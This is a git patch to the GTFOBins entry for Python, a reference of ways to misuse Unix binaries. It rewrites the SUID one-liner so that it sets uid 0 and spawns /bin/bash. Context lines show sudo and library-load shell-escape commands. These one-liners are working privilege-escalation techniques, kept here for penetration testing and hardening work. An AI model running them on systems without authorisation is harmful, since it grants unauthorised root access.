From 42bbd7c83a26641d575451590d7b89ad77258784 Mon Sep 17 00:00:00 2001 From: Bishwabikash Das Date: Thu, 4 Sep 2025 22:29:34 +0530 Subject: [PATCH] Update python.md Fixed Python SUID. Added the method to set uid in the command which was not there previously -bishwabikash --- _gtfobins/python.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/python.md b/_gtfobins/python.md index a6c622da..9fa7ccbe 100644 --- a/_gtfobins/python.md +++ b/_gtfobins/python.md @@ -44,7 +44,7 @@ functions: library-load: - code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")' suid: - - code: ./python -c 'import os; os.execl("/bin/sh", "sh", "-p")' + - code: ./python -c 'import os; os.setuid(0); os.system("/bin/bash")' sudo: - code: sudo python -c 'import os; os.system("/bin/sh")' capabilities: